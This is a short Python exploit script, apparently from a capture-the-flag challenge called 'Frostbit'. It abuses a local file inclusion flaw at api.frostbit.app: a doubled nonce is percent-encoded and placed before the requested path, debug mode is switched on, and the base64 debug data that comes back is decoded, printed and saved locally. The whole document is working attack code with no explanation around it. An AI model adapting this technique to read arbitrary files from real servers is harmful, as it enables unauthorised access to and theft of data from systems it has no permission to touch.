import binascii
import requests
import base64
import os
import sys

nonce = ""
uuid = ""

def main():
    global nonce, uuid
    path = ""
    if len(sys.argv)==3:
        nonce = sys.argv[1]
        uuid = sys.argv[2]
    else:
        print("Usage frostbit_lfi.py <nonce> <uuid>")
        sys.exit(1)
    try:
        path = input("Remote File to Fetch: ")
    except KeyboardInterrupt:
        sys.exit(0)
    get_remote_file(path)

def encode(string):
    string = string.replace("%", "%25")
    string = string.replace("/", "%2f")
    string = string.replace(" ", "%20")
    return string
    
def percent_encode(bin_str):
    e = ""
    for x in range(0, len(bin_str), 2):
        e += "%" + bin_str[x:x+2]
    return e
    
def get_lfi_page(filename, digest="00000000000000000000000000000000"):
    url = f"https://api.frostbit.app/view/{filename}/{uuid}/status?digest={digest}&debug=1"
    r = requests.get(url)
    if r.status_code != 200:
        print(r.text)
    else:
        #print(url)
        pass
    return r.status_code, r.text

def string_between(text, start_str, end_str):
    start_index = text.index(start_str)+len(start_str)
    text = text[start_index:]
    end_index = text.index(end_str)
    return text[:end_index]
    
  
def get_remote_file(path):
    save_file = os.path.basename(path)
    path_enc = encode(path)
    nonce_enc = percent_encode(nonce + nonce)
    lfi_string = encode(nonce_enc+path_enc)
    code, text = get_lfi_page(lfi_string)
    if code == 200:
        b64 = string_between(text, 'debugData = "', '";')
        b64decoded = base64.b64decode(b64)
        print(b64decoded.decode())
        with open(os.path.join("remote_files",save_file), "wb") as f:
            f.write(b64decoded)
        
if __name__ == "__main__":
    main()